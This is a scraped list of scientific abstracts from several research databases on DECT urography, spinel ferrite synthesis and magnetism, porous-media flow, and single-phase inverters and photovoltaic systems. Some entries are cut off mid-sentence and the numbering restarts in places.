the unenhanced scan led to a mean dose reduction of 42.7 ± 5%. Single-phase DECT urography with synchronous nephrographic-excretory phase enhancement represents an accurate "all-in-one'' approach with a radiation dose saving up to 45% compared with a standard dual-phase protocol. Copyright © 2012 The Royal College of Radiologists. All rights reserved. 17. Single-phase dual-energy CT urography in the evaluation of haematuria International Nuclear Information System (INIS) Ascenti, G.; Mileto, A.; Gaeta, M.; Blandino, A.; Mazziotti, S.; Scribano, E. 2013-01-01 Aim: To assess the value of a single-phase dual-energy computed tomography (DECT) urography protocol with synchronous nephrographic–excretory phase enhancement and to calculate the potential dose reduction by omitting the unenhanced scan. Materials and methods: Eighty-four patients referred for haematuria underwent CT urography using a protocol that included single-energy unenhanced and dual-energy contrast-enhanced with synchronous nephrographic–excretory phase scans. DECT-based images [virtual unenhanced (VUE), weighted average, and colour-coded iodine overlay] were reconstructed. Opacification degree by contrast media of the upper urinary tract, and image quality of virtual unenhanced images were independently evaluated using a four-point scale. The diagnostic accuracy in detecting urothelial tumours on DECT-based images was determined. The dose of a theoretical dual-phase single-energy protocol was obtained by multiplying the effective dose of the unenhanced single-energy acquisition by two. Radiation dose saving by omitting the unenhanced scan was calculated. Results: The degree of opacification was scored as optimal or good in 86.9% of cases (k = 0.72); VUE image quality was excellent or good in 83.3% of cases (k = 0.82). Sensitivity, specificity, positive predictive value, and negative predictive value for urothelial tumours detection were 85.7, 98.6, 92.3, and 97.1%. Omission of the unenhanced scan led to a mean dose reduction of 42.7 ± 5%. Conclusion: Single-phase DECT urography with synchronous nephrographic–excretory phase enhancement represents an accurate “all-in-one’’ approach with a radiation dose saving up to 45% compared with a standard dual-phase protocol. 18. Multi-scale Modeling of Compressible Single-phase Flow in Porous Media using Molecular Simulation KAUST Repository 2016-05-01 In this study, an efficient coupling between Monte Carlo (MC) molecular simulation and Darcy-scale flow in porous media is presented. The cell-centered finite difference method with a non-uniform rectangular mesh were used to discretize the simulation domain and solve the governing equations. To speed up the MC simulations, we implemented a recently developed scheme that quickly generates MC Markov chains out of pre-computed ones, based on the reweighting and reconstruction algorithm. This method astonishingly reduces the required computational time by MC simulations from hours to seconds. In addition, the reweighting and reconstruction scheme, which was originally designed to work with the LJ potential model, is extended to work with a potential model that accounts for the molecular quadrupole moment of fluids with non-spherical molecules such as CO2. The potential model was used to simulate the thermodynamic equilibrium properties for single-phase and two-phase systems using the canonical ensemble and the Gibbs ensemble, respectively. Comparing the simulation results with the experimental data showed that the implemented model has an excellent fit outperforming the standard LJ model. To demonstrate the strength of the proposed coupling in terms of computational time efficiency and numerical accuracy in fluid properties, various numerical experiments covering different compressible single-phase flow scenarios were conducted. The novelty in the introduced scheme is in allowing an efficient coupling of the molecular scale and Darcy scale in reservoir simulators. This leads to an accurate description of the thermodynamic behavior of the simulated reservoir fluids; consequently enhancing the confidence in the flow predictions in porous media. 19. Effects of rolling on characteristics of single-phase water flow in narrow rectangular ducts International Nuclear Information System (INIS) Xing Dianchuan; Yan Changqi; Sun Licheng; Xu Chao 2012-01-01 Highlights: ► Mass flow rate and friction pressure drop with different pressure head are compared. ► The effect of pressure head on flow fluctuation is considered theoretically. ► Time-mean and real-time friction pressure drop in different rolling motion are studied. ► Rolling motion influences the fluctuation of friction pressure drop in two aspects. ► New correlation for frictional coefficient in rolling motion is achieved. - Abstract: Experimental and theoretical studies of rolling effects on characteristics of single-phase water flow in narrow rectangular ducts are performed under ambient temperature and pressure. Two types of pressure head are supplied by elevate water tank and pump respectively. The results show that the frictional pressure drop under rolling condition fluctuates periodically, with its amplitude decaying as mean Reynolds number increase and the rolling amplitude decrease, while the amplitude is nearly invariable with rolling period. Rolling motion influences the fluctuation amplitude of frictional pressure drop in two aspects, on the one hand, rolling reduced periodical pulsing flow leads to the fluctuation of the frictional pressure drop, on the other hand, additional force acting on fluid near the wall due to the rolling motion makes local frictional resistance oscillate periodically. The mass flow rate oscillates periodically in rolling motion with the pressure head supplied by water tank, while its fluctuation is so weak that could be neglected for the case of the pressure head supplied by pump. An empirical correlation for the frictional coefficient under rolling condition is achieved, and the experimental data is well correlated. A mathematical model is also developed to study the effect of pressure head on mass flow rate fluctuation in rolling motion. The fluctuation amplitude of the mass flow rate decreases rapidly with a higher pressure head. Comparing with the vertical condition, rolling motion nearly has no effects on 20. Origin of the low compressibility in hard nitride spinels DEFF Research Database (Denmark) Mori-Sánchez, P.; Marqués, M.; Beltrán, A. 2003-01-01 A microscopic investigation of first-principles electron densities of gamma-A(3)N(4) (A:C,Si,Ge) spinels reveals a clear relationship between the compressibility and the chemical bonding of these materials. Three striking findings emanate from this analysis: (i) the chemical graph is governed...... by a network of highly directional strong bonds with covalent character in gamma-C3N4 and different degrees of ionic polarization in gamma-Si3N4 and gamma-Ge3N4, (ii) nitrogen is the lowest compressible atom controlling the trend in the bulk modulus of the solids, and (iii) the group-IV counterions show strong...... site dependent compressibilities enhancing the difficulty in the synthesis of the spinel phases of these nitrides.... 1. Chemisorption of cyanogen chloride by spinel ferrite magnetic nanoparticles. Science.gov (United States) Glover, T Grant; DeCoste, Jared B; Sabo, Daniel; Zhang, Z John 2013-05-07 Spinel ferrite magnetic nanoparticles, MnFe2O4, NiFe2O4, and CoFe2O4, were synthesized and used as gas-phase adsorbents for the removal of cyanogen chloride from dry air. Fixed-bed adsorption breakthrough experiments show adsorption wave behavior at the leading edge of the breakthrough curve that is not typical of physically adsorbed species. Fourier transform infrared spectroscopy (FTIR) results indicate that CK is reacting with the spinel ferrite surface and forming a carbamate species. The reaction is shown to be a function of the hydroxyl groups and adsorbed water on the surface of the particles as well as the metallic composition of the particles. The surface reaction decreases the remnant and saturation magnetism of the MnFe2O4 and CoFe2O4 particles by approximately 25%. 2. Synthesis and magnetic properties of Zn Spinel ceramics Czech Academy of Sciences Publication Activity Database Huber, Š.; Sofer, Z.; Nádherný, L.; Jankovský, O.; Šimek, P.; Sedmidubský, D.; Maryško, Miroslav 2013-01-01 Roč. 57, č. 2 (2013), s. 162-166 ISSN 0862-5468 R&D Projects: GA ČR GA13-17538S; GA MŠk(CZ) 7AMB12FR019 Institutional support: RVO:68378271 Keywords : Zn spinel synthesis * magnetic properties * antiferromagnet * bulk ZnO Subject RIV: BM - Solid Matter Physics ; Magnetism Impact factor: 0.434, year: 2013 3. Structural and electrical properties of nanometric Ni-Cu ferrites synthesized by citrate precursor method Energy Technology Data Exchange (ETDEWEB) Ahmed, M.A., E-mail: [email protected] [Materials Science Lab (1), Physics Department, Faculty of Science, Cairo University, Giza (Egypt); Mansour, S.F. [Physics Department, Faculty of Science, Zagazig University (Egypt); Afifi, M. [Materials Science Lab (1), Physics Department, Faculty of Science, Cairo University, Giza (Egypt) 2012-01-15 Nanometric nickel copper ferrites Ni{sub 1-x}Cu{sub x}Fe{sub 2}O{sub 4}, 0{<=}x{<=}0.45 were prepared by the citrate precursor method. X-ray diffraction measurements confirm the formation of single phase cubic spinel structure. The lattice parameter (a) is increased with increasing Cu{sup 2+} ion substitution. The crystallite size was calculated from XRD data and compared with that obtained from TEM micrographs. A significant increase in the density is observed with increasing Cu content. The IR absorption spectra were used for the detection and confirmation of the chemical bonds in spinel ferrites. The dielectric constant {epsilon}' and dielectric loss showed a decrease with increasing frequency for all samples. The decrease in the ac conductivity was ascribed to the increase in hopping length. - Highlights: > Ni-Cu ferrite was successfully prepared using citrate auto combustion method. > The lattice parameter and the density increased with increasing Cu{sup 2+} content. > We suggest the use of Ni ferrite with large Cu{sup 2+} content in electrical devices. 4. Magneto-structural studies of sol–gel synthesized nanocrystalline manganese substituted nickel ferrites Energy Technology Data Exchange (ETDEWEB) Pandav, R.S. [Department of Chemistry, Shivaji University, Kolhapur 416004, MH (India); Patil, R.P. [Department of Chemistry, M.H. Shinde Mahavidyalaya, Tisangi 416206, MH (India); Chavan, S.S. [Department of Chemistry, Shivaji University, Kolhapur 416004, MH (India); Mulla, I.S. [Centre for Materials for Electronics and Technology (C-MET), Panchavati, Pune 411008 (India); Hankare, P.P., E-mail: [email protected] [Department of Chemistry, Shivaji University, Kolhapur 416004, MH (India) 2016-11-01 Nanocrystalline NiFe{sub 2−x}Mn{sub x}O{sub 4} (2≥x≥0) ferrites were prepared by sol–gel method. X-ray diffraction patterns reveal that synthesized compounds are in single phase cubic spinel lattice for all the composition. The surface morphology of all the samples were studied by scanning electron microscopy. The particle size measured from transmission electron microscopy and X-ray diffraction patterns confirms the nanosized dimension of the as-prepared powder. The elemental analysis was carried out by energy dispersive X-ray analysis technique. Magnetic properties such as saturation magnetization, coercivity and remanence are studied as a function of increasing Mn concentration at room temperature. The saturation magnetization shows a decreasing trend with increase in Mn content. The substitution of manganese in the nickel ferrite affects the structural and magnetic properties of cubic spinels. - Highlights: • NiFe{sub 2−x}Mn{sub x}O{sub 4} system was synthesized by a chemical combustion route. • All samples shows cubic phase. • All the synthesized ferrospinels are in nanocrystalline form. • The saturation magnetization decreases with increase in Mn content. 5. Growth Kinetics of Magnesio-Aluminate Spinel in Al/Mg Lamellar Composite Interface Science.gov (United States) The synthesis of Mg-Al2O3 double layered interface is introduced via the application of hot isostatic pressing, HIPing, in Al-Mg foils. Polycrystalline spinel layers are grown experimentally at the interfacial contacts between Al-Mg foils. The growth behavior of the spinel layers along with the kinetic parameters characterizing interface motion and long-range diffusion is established. Low melting depressant (LMD), Zn, and alloying element segregation tends to form micro laminated and/or Nano structure interphase in a lamellar composite solid state processing. Nano composite ceramic interphase materials offer interesting mechanical properties not achievable in other materials, such as superplastic flow and metal-like machinability. Microstructural characterization, mechanical characterization is also established via optical microscopy scanning electron microscopy, energy dispersive X-ray spectroscopy and tensile testing. Chemical and mechanical bonding via inter diffusion processing with alloy segregation are dominant for interphase kinetics. Mechanical characterization with interfacial shear strength is also introduced. HIPing processing is successfully applied on 6082 Al-alloy and AZ31 magnesium alloy for either particulate or micro-laminated interfacial composite processing. The interphase kinetic established through localized micro plasticity, metal flow, alloy segregation and delocalized Al oxide and Mg oxide. The kinetic of interface/interphase induce new nontraditional crack mitigation a long with new bridging and toughening mechanisms. 6. Contemporary artists' spinel pigments: Non-invasive characterization by means of electronic spectroscopy. Science.gov (United States) Angelin, Eva Mariasole; Bacci, Mauro; Bartolozzi, Giovanni; Cantisani, Emma; Picollo, Marcello 2017-02-15 The identification of artistic materials represents a fundamental step in supporting the conservation of cultural heritage objects. The importance of their appropriate characterization is particularly relevant in modern-contemporary art, since they could be affected by the occurrence of rapid changes in chemical formulation over time. This paper focuses on an investigation of a series of contemporary blue-green commercial acrylic paints constituted of spinel pigments, using non-invasive spectroscopic techniques. The spectroscopic and color measurements obtained make it possible to characterize the acrylic paints under investigation and to compare the results obtained with those reported in the literature and in spectral databases. To be more precise, the proposed UV-vis-NIR reflectance spectroscopic technique was sensitive enough to characterize the acrylic paints according to their d-d ligand field and the charge transfer (CT) electronic transitions involved in the spinel structures. In addition, an overview of this class of inorganic pigments is also given. Copyright © 2016 Elsevier B.V. All rights reserved. 7. Spinel cobalt ferrite by complexometric synthesis NARCIS (Netherlands) Pham Duc Thang, P.D.T.; Rijnders, Augustinus J.H.M.; Blank, David H.A. 2005-01-01 Magnetic fine particles of cobalt ferrite (CoFe2O4) have been synthesized using complexometric method in which ethylene diamine tetra acetic acid C10H16N2O8 (EDTA) acts as a complexing agent. The crystallographic structure, microstructure and magnetic properties of the synthesized powder were 8. Structural, magnetic, and dielectric properties of multiferroic Co1−xMgxCr2O4 nanoparticles International Nuclear Information System (INIS) Kamran, M.; Ullah, A.; Rahman, S.; Tahir, A.; Nadeem, K.; Anis ur Rehman, M.; Hussain, S. 2017-01-01 Highlights: • Properties of multiferroic Co 1−x Mg x Cr 2 O 4 nanoparticles have been studied. • XRD showed that CoCr 2 O 4 and MgCr 2 O 4 are cubic normal spinel structure. • Rietveld refinement of XRD showed no impurity phases. • T c and T s showed decreasing trend with increasing Mg concentration. • Dielectric properties were improved for x = 0.6 Mg concentration. - Abstract: We examined the structural, magnetic, and dielectric properties of Co 1−x Mg x Cr 2 O 4 nanoparticles with composition x = 0, 0.2, 0.4, 0.5, 0.6, 0.8 and 1 in detail. X-ray diffraction (XRD) revealed normal spinel structure for all the samples. Rietveld refinement fitting results of the XRD showed no impurity phases which signifies the formation of single phase Co 1−x Mg x Cr 2 O 4 nanoparticles. The average crystallite size showed a peak behaviour with maxima at x = 0.6. Raman and Fourier transform infrared (FTIR) spectroscopy also confirmed the formation of single phase normal spinel for all the samples and exhibited dominant vibrational changes for x ≥ 0.6. For x = 0 (CoCr 2 O 4 ), zero field cooled/field cooled (ZFC/FC) magnetization curves showed paramagnetic (PM) to ferrimagnetic (FiM) transition at T c = 97 K and a conical spiral magnetic order at T s = 30 K. The end members CoCr 2 O 4 (x = 0) and MgCr 2 O 4 (x = 1) are FiM and antiferromagnetic (AFM), respectively. T c and T s showed decreasing trend with increasing x, followed by an additional AFM transition at T N = 15 K for x = 0.6. The system finally stabilized and changed to highly frustrated AFM structure at x = 1 due to formation of pure MgCr 2 O 4 . High field FC curves (5T) depicted nearly no effect on spiral magnetic state, which is attributed to strong exchange B-B magnetic interactions at low temperatures. Dielectric parameters showed a non-monotonous behaviour with Mg concentration and were explained with the help of Maxwell-Wagner model and Koop’s theory. Dielectric properties were improved for 9. Structure and magnetic properties of Mg0.35Cu0.2Zn0.45Fe2O4 ferrite synthesized by co-precipitation method Directory of Open Access Journals (Sweden) Bo Yang 2017-05-01 Full Text Available Mg0.35Cu0.2Zn0.45Fe2O4 nanosize particles have been synthesized by chemical co-precipitation method and characterized by X-ray diffraction (XRD and vibrating sample magnetometry (VSM. The XRD patterns confirmed the single phase spinel structure of the synthesized powder. The average crystallite size of the powder varied from 14 to 55 nm by changing annealing temperature. The activation energy for crystal growth was estimated as about 18.61KJ/mol. With the annealing temperature increasing, saturation magnetization (MS was successively increased while the coercivity (HC was first increased, passed through a maximum and then declined. The sintering temperature has significant influence on bulk density, initial permeability and Curie temperature of Mg0.35Cu0.2Zn0.45Fe2O4 ferrite. 10. An Integrated, Layered-Spinel Composite Cathode for Energy Storage Applications Science.gov (United States) 2012-01-01 At low operating temperatures, commercially available electrode materials for lithium-ion batteries do not fully meet the energy and power requirements for NASA fs exploration activities. The composite cathode under development is projected to provide the required energy and power densities at low temperatures and its usage will considerably reduce the overall volume and weight of the battery pack. The newly developed composite electrode material can provide superior electrochemical performance relative to a commercially available lithium cobalt system. One advantage of using a composite cathode is its higher energy density, which can lead to smaller and lighter battery packs. In the current program, different series of layered-spinel composite materials with at least two different systems in an integrated structure were synthesized, and the volumetric and gravimetric energy densities were evaluated. In an integrated network of a composite electrode, the effect of the combined structures is to enhance the capacity and power capabilities of the material to levels greater than what is possible in current state-of-the-art cathode systems. The main objective of the current program is to implement a novel cathode material that meets NASA fs low temperature energy density requirements. An important feature of the composite cathode is that it has at least two components (e.g., layered and spinel) that are structurally integrated. The layered material by itself is electrochemically inactive; however, upon structural integration with a spinel material, the layered material can be electrochemically activated, thereby delivering a large amount of energy with stable cycling. A key aspect of the innovation has been the development of a scalable process to produce submicronand micron-scale particles of these composite materials. An additional advantage of using such a composite electrode material is its low irreversible loss (.5%), which is primarily due to the unique activation 11. Fabrication of single-phase ε-GaSe films on Si(100) substrate by metal organic chemical vapor deposition International Nuclear Information System (INIS) Chang, Chia-Chen; Zeng, Jia-Xian; Lan, Shan-Ming; Uen, Wu-Yih; Liao, Sen-Mao; Yang, Tsun-Neng; Ma, Wei-Yang; Chang, Kuo-Jen 2013-01-01 Single-phase ε-gallium selenide (GaSe) films were fabricated on Si(100) substrate by metal organic chemical vapor deposition using dual-source precursors: triethylgallium (TEG) and hydrogen selenide (H 2 Se) with the flow ratio of [H 2 Se]/[TEG] being maintained at 1.2. In particular, an arsine (AsH 3 ) flow was introduced to the Si substrate before the film deposition to induce an arsenic (As)-passivation effect on the substrate. The crystalline structure of GaSe films prepared was analyzed using X-ray diffraction and the surface morphology of them was characterized by scanning electron microscopy. It was found that the film quality could be improved by the As-passivation effect. The optical properties of the films were studied by temperature dependent photoluminescence (PL) measurements. PL spectra obtained with different distributions and intensities favored for resolving the superior material quality of the films produced on the substrate with As-passivation compared to those produced on the substrate without As-passivation. The former was dominated by the excitonic emissions for the whole temperature range of 20–300 K examined, while the latter was initially dominated by the defect-related emission at 1.907 eV for a low-temperature range ≦ 80 K and then became dominated by the weak excitonic emission band instead. The ε modification of GaSe films prepared was further recognized by the Raman scattering measurements conducted at room temperature. - Highlights: • Gallium selenide (GaSe) layered structures are fabricated on Si(100) substrate. • Metal–organic chemical vapor deposition is used for film fabrication. • Arsenic-passivation effects of Si substrate on the GaSe film quality are analyzed. • Photoluminescence measurements of GaSe polycrystals are reported 12. Influence of magnesia in the infiltration of magnesia-spinel refractory bricks by different clinkers OpenAIRE Gonçalves, Geraldo Eduardo; Pacheco, Graziella Rajão Cota; Brito, Modestino Alves de Moura; Silva, Sérgio Luiz Cabral da; Lins, Vanessa de Freitas Cunha 2015-01-01 Abstract In cement production, which involves the production of cement clinker in rotary kilns, the main refractories used are magnesia-spinel bricks. These bricks may suffer infiltration by the clinker liquid phase, resulting in the corrosion of the spinel and the formation of low refractoriness mineralogical phases, such as the Q phase (C20A13M3S3), which compromises refractory performance. Thus, the aim of this work is to correlate the infiltration resistance of magnesia-spinel bricks made... 13. Nature of the Electrochemical Properties of Sulphur Substituted LiMn2O4 Spinel Cathode Material Studied by Electrochemical Impedance Spectroscopy Directory of Open Access Journals (Sweden) Monika Bakierska 2016-08-01 Full Text Available In this work, nanostructured LiMn2O4 (LMO and LiMn2O3.99S0.01 (LMOS1 spinel cathode materials were comprehensively investigated in terms of electrochemical properties. For this purpose, electrochemical impedance spectroscopy (EIS measurements as a function of state of charge (SOC were conducted on a representative charge and discharge cycle. The changes in the electrochemical performance of the stoichiometric and sulphur-substituted lithium manganese oxide spinels were examined, and suggested explanations for the observed dependencies were given. A strong influence of sulphur introduction into the spinel structure on the chemical stability and electrochemical characteristic was observed. It was demonstrated that the significant improvement in coulombic efficiency and capacity retention of lithium cell with LMOS1 active material arises from a more stable solid electrolyte interphase (SEI layer. Based on EIS studies, the Li ion diffusion coefficients in the cathodes were estimated, and the influence of sulphur on Li+ diffusivity in the spinel structure was established. The obtained results support the assumption that sulphur substitution is an effective way to promote chemical stability and the electrochemical performance of LiMn2O4 cathode material. 14. Synthesis, characterization and formation mechanism of SiC/spinel nanocomposite International Nuclear Information System (INIS) Tavangarian, Fariborz; Li, Guoqiang 2014-01-01 Highlights: • SiC/spinel nanocomposite was synthesized from talc, aluminum and graphite powders. • A mechanism was suggested for the SiC/spinel nanocomposite formation. • The SiC/spinel nanocomposite powder had a mean crystallite size of about 9 nm. • During the formation of nanocomposite some intermediate compounds were formed. - Abstract: This paper reports the successful synthesis of SiC/spinel (MgAl 2 O 4 ) nanocomposite from talc, aluminum and graphite powders. The initial powders were mixed to obtain stoichiometric spinel containing 27.26 wt.% SiC. Scanning electron microscopy (SEM), X-ray diffraction (XRD), and transmission electron microscopy (TEM) techniques were utilized to characterize the synthesized powders. SiC/spinel nanocomposite was obtained after 6 h ball milling of initial materials in argon atmosphere with subsequent annealing at 1200 °C for 1 h in vacuum. The obtained nanocomposite had crystallites size between 1 and 15 nm with the mean diameter of 9 nm. The SiC/spinel composite formation mechanism was scrutinized. The results showed that SiC/spinel nanocomposite was not produced directly and the formation of some intermediate compounds is unavoidable during the synthesis procedure. The SiC/spinel nanocomposite powder may be a potential nanocomposite for high temperature applications with self-crack-healing capability 15. Power Based Phase-Locked Loop Under Adverse Conditions with Moving Average Filter for Single-Phase System OpenAIRE Menxi Xie; CanYan Zhu; BingWei Shi; Yong Yang 2017-01-01 High performance synchronization methord is citical for grid connected power converter. For single-phase system, power based phase-locked loop(pPLL) uses a multiplier as phase detector(PD). As single-phase grid voltage is distorted, the phase error information contains ac disturbances oscillating at integer multiples of fundamental frequency which lead to detection error. This paper presents a new scheme based on moving average filter(MAF) applied in-loop of pPLL. The signal characteristic of... 16. Reliability-Oriented Design and Analysis of Input Capacitors in Single-Phase Transformer-less Photovoltaic Inverters DEFF Research Database (Denmark) Wang, Huai; Yang, Yongheng; Blaabjerg, Frede 2013-01-01 . A reliability-oriented design guideline is proposed in this paper for the input capacitors in single-phase transformer-less PV inverters. The guideline ensures that the service time requirement is to be accomplished under different power levels and ambient temperature profiles. The theoretical analysis has been......While 99% efficiency has been reported, the target of 20 years of service time imposes new challenge to cost-effective solutions for grid-connected photovoltaic (PV) inverters. Aluminum electrolytic capacitors are the weak-link in terms of reliability and lifetime in single-phase PV systems... 17. Thermal Optimized Operation of the Single-Phase Full-Bridge PV Inverter under Low Voltage Ride-Through Mode DEFF Research Database (Denmark) Wang, Huai; Yang, Yongheng; Blaabjerg, Frede 2013-01-01 . At the same time, the target of a long service time (25 years or more) imposes new challenges to grid-connected transformer-less PV systems. Achieving more reliable PV inverters is of intense interest in recent research. As one of the most critical stresses that induce failures, the thermal stresses...... on the power devices of a single-phase full-bridge PV inverter are analyzed in different operational modes in this paper. The low voltage grid condition is specially taken into account in this paper. The analysis is demonstrated by a 3 kW single-phase full-bridge grid-connected PV system by simulations... 18. Lifetime Estimation of DC-link Capacitors in a Single-phase Converter with an Integrated Active Power Decoupling Module DEFF Research Database (Denmark) Ma, Siyuan; Wang, Haoran; Tang, Junchaojie 2016-01-01 In single-phase inverters, DC-link capacitors are installed at the DC-link to buffer the ripple power between the AC side and DC side. Active decoupling methods introduce additional circuits at the DC side or AC side to partially or fully supply the ripple power. So that the demanded DC-link capa......In single-phase inverters, DC-link capacitors are installed at the DC-link to buffer the ripple power between the AC side and DC side. Active decoupling methods introduce additional circuits at the DC side or AC side to partially or fully supply the ripple power. So that the demanded DC... 19. Comment on 'Order-disorder phase transition induced by swift ions in MgAl2O4 and ZnAl2O4 spinels' by D. Simeone et al., J. Nucl. Mater. 300 (2002) 151-160 International Nuclear Information System (INIS) Sickafus, Kurt E. 2003-01-01 In this letter, structure factor calculations and computer simulated powder X-ray diffraction patterns are used to challenge conclusions reached in a recent study by D. Simeone et al. regarding radiation-induced phase transformations in MgAl 2 O 4 spinel. Based on experimental results presented by D. Simeone et al. and previously by other researchers, and based on the structure factor results presented here, spinel most likely succumbs to a phase transformation under irradiation that involves a profound change in the arrangement of cations in the lattice. The space group is modified by the transformation and the new, metastable structure is most likely a defective rocksalt structure. These conclusions are at odds with the description of the spinel metastable phase offered by Simeone et al 20. Synthesis, structural, dielectric and magnetic properties of polyol assisted copper ferrite nano particles Energy Technology Data Exchange (ETDEWEB) Pavithradevi, S. [Assistant Professor, Department of Physics, Park College of Engineering and Technology, Coimbatore (India); Suriyanarayanan, N., E-mail: [email protected] [Prof & Head, Department of Physics, Government College of Technology, Coimbatore (India); Boobalan, T. [Lecturer, Department of Physics, PSG Polytechnic College, Coimbatore (India) 2017-03-15 Nanocrystalline copper ferrite CuFe{sub 2}O{sub 4} is synthesized by co-precipitation method in ethylene glycol as chelating agent, using sodium Hydroxide as precipitator at pH 8. The as synthesized CuFe{sub 2}O{sub 4} is annealed at temperatures of 350 °C, 700 °C, and 1050 °C for 2 h respectively. The thermal analysis of the synthesized sample is done by TG technique. It is shown that at 260 °C ethylene glycol has evaporated completely and after 715 °C, spinel ferrite is formed with a cubic structure. The calculated lattice parameters are in agreement with the reported values. FTIR spectra of CuFe{sub 2}O{sub 4} nano particles are as synthesized and annealed at 1050 °C and recorded between 400 cm{sup −1} and 4000 cm{sup −1}. It shows that when the temperature increases ethylene glycol gradually evaporates. Finally, nano crystalline single phase spinel ferrite is obtained. X-ray diffraction (XRD) and electron diffraction (EDS) studies show that the sample is indexed as the face centered cubic spinel structure. Scanning electron microscopy (SEM) and transmission electron microscopy (TEM) indicated that the particles are flaky and spherical with the crystallite size in the range of 25–34 nm. From the dielectric studies, the dielectric constant decreases as the frequency increases. Low value of dielectric loss at higher frequencies suggests that the material is suitable for high frequency applications. AC conductivity increases with frequency. The magnetic properties of the samples are measured using a vibrating sample magnetometer (VSM) at room temperature, which shows that the sample exhibited a typical super paramagnetic behavior at low temperature. The saturation magnetization, remanant magnetism, and coercivity increases with applied field. - Highlights: • Complete removal of hematite phase along with ethylene glycol at 1050 °C. • Large decrease in particle sizes noticed along with ethylene glycol. • Ethylene glycol improves purity of the 1. Influence of nickel addition on structural and magnetic properties of aluminium substituted Ni-Zn ferrite nanoparticles Directory of Open Access Journals (Sweden) Donta Paramesh 2016-09-01 Full Text Available Ni-Zn-Al mixed ferrite nanoparticles, with general formula NixZn1-xAlFeO4 (x = 0.0, 0.2, 0.4, 0.6, 0.8 and 1.0, were synthesized by sol-gel auto combustion technique. All prepared ferrite nanoparticles were characterized by X-ray diffraction, scanning electron microscopy, energy dispersive X-ray spectroscopy, Fourier transform infrared spectroscopy and vibrating sample magnetometer. X-ray diffraction study confirmed the formation of the single phase cubic spinel structure in all ferrite samples. The crystallite size was calculated by the DebyeScherrer formula and found to be in the range 15–46 nm. The lattice constant decreased with increasing Ni2+ ion concentration. Scanning electron microscopy images clearly indicate that the particles are very small but agglomerated. Energy dispersive X-ray was used to confirm the composition of the prepared powders. Fourier transform infrared spectra showed two main absorption bands of ferrite nanoparticles, the high frequency band (ν1 around 600 cm-1 and the low frequency band (ν2 around 400 cm-1 arising from tetrahedral (A and octahedral (B interstitial sites in the spinel lattice, respectively. Vibrating sample magnetometer results reported that the saturation magnetization, remanent magnetization and magnetic moments decrease with increasing Ni2+ ion concentration. 2. Design of single phase inverter using microcontroller assisted by data processing applications software Science.gov (United States) Ismail, K.; Muharam, A.; Amin; Widodo Budi, S. 2015-12-01 Inverter is widely used for industrial, office, and residential purposes. Inverter supports the development of alternative energy such as solar cells, wind turbines and fuel cells by converting dc voltage to ac voltage. Inverter has been made with a variety of hardware and software combinations, such as the use of pure analog circuit and various types of microcontroller as controller. When using pure analog circuit, modification would be difficult because it will change the entire hardware components. In inverter with microcontroller based design (with software), calculations to generate AC modulation is done in the microcontroller. This increases programming complexity and amount of coding downloaded to the microcontroller chip (capacity flash memory in the microcontroller is limited). This paper discusses the design of a single phase inverter using unipolar modulation of sine wave and triangular wave, which is done outside the microcontroller using data processing software application (Microsoft Excel), result shows that complexity programming was reduce and resolution sampling data is very influence to THD. Resolution sampling must taking ½ A degree to get best THD (15.8%). 3. Synthesis of single phase of CuTl-1234 thin films CERN Document Server Khan, N A; Ishida, K; Tateai, F; Kojima, T; Terada, N; Ihara, H 1999-01-01 Thin films of CuTl-1234 superconductor have been prepared for the first time using an amorphous phase epitaxy method (APE). In this method, an amorphous phase is sputtered from a target of stoichiometric composition CuBa/sub 2/Ca/sub 3/Cu/sub 4/O/sub x/. Thin films on the SrTiO/sub 3/ substrate after the thallium treatment are biaxially oriented. The XRD reflected a predominant single phase with c-axis 18.7 AA and pole figure measurements of (103) reflections showed a-axis oriented films with Delta phi =0.8 degrees . Resistivity measurements showed T/sub c/=113 K and preliminary J/sub c/ measurements manifested a current density of 1.0*10/sup 6/ A/cm (77 K, 0 T). The composition of films after EDX measurements is Cu /sub 0.3/Tl/sub 0.7/CuBa/sub 2/Ca/sub 3/Cu/sub 4/O/sub 12-y/. (8 refs). 4. Single-phased Fault Location on Transmission Lines Using Unsynchronized Voltages Directory of Open Access Journals (Sweden) ISTRATE, M. 2009-10-01 Full Text Available The increased accuracy into the fault's detection and location makes it easier for maintenance, this being the reason to develop new possibilities for a precise estimation of the fault location. In the field literature, many methods for fault location using voltages and currents measurements at one or both terminals of power grids' lines are presented. The double-end synchronized data algorithms are very precise, but the current transformers can limit the accuracy of these estimations. The paper presents an algorithm to estimate the location of the single-phased faults which uses only voltage measurements at both terminals of the transmission lines by eliminating the error due to current transformers and without introducing the restriction of perfect data synchronization. In such conditions, the algorithm can be used with the actual equipment of the most power grids, the installation of phasor measurement units with GPS system synchronized timer not being compulsory. Only the positive sequence of line parameters and sources are used, thus, eliminating the incertitude in zero sequence parameter estimation. The algorithm is tested using the results of EMTP-ATP simulations, after the validation of the ATP models on the basis of registered results in a real power grid. 5. A single-phase model for liquid-feed DMFCs with non-Tafel kinetics Science.gov (United States) Vera, Marcos An isothermal single-phase 3D/1D model for liquid-feed direct methanol fuel cells (DMFC) is presented. Three-dimensional (3D) mass, momentum and species transport in the anode channels and gas diffusion layer is modeled using a commercial, finite-volume based, computational fluid dynamics (CFD) software complemented with user supplied subroutines. The 3D model is locally coupled to a one-dimensional (1D) model accounting for the electrochemical reactions in both the anode and the cathode, which provides a physically sound boundary condition for the velocity and methanol concentration fields at the anode gas diffusion layer/catalyst interface. The 1D model - comprising the membrane-electrode assembly, cathode gas diffusion layer, and cathode channel - assumes non-Tafel kinetics to describe the complex kinetics of the multi-step methanol oxidation reaction at the anode, and accounts for the mixed potential associated with methanol crossover, induced both by diffusion and electro-osmotic drag. Polarization curves computed for various methanol feed concentrations, temperatures, and methanol feed velocities show good agreement with recent experimental results. The spatial distribution of methanol in the anode channels, together with the distributions of current density, methanol crossover and fuel utilization at the anode catalyst layer, are also presented for different opperating conditions. 6. Benchmarking of Constant Power Generation Strategies for Single-Phase Grid-Connected Photovoltaic Systems DEFF Research Database (Denmark) Sangwongwanich, Ariya; Yang, Yongheng; Blaabjerg, Frede 2016-01-01 With a still increase of grid-connected Photovoltaic (PV) systems, challenges have been imposed on the grid due to the continuous injection of a large amount of fluctuating PV power, like overloading the grid infrastructure (e.g., transformers) during peak power production periods. Hence, advanced...... strategies based on: 1) a power control (P-CPG), 2) a current limit method (I-CPG) and 3) the Perturb and Observe algorithm (P&O-CPG). However, the operational mode changes (e.g., from the maximum power point tracking to a CPG operation) will affect the entire system performance. Thus, a benchmarking...... of the proposed CPG strategies is also conducted on a 3-kW single-phase grid-connected PV system. Comparisons reveal that either the P-CPG or 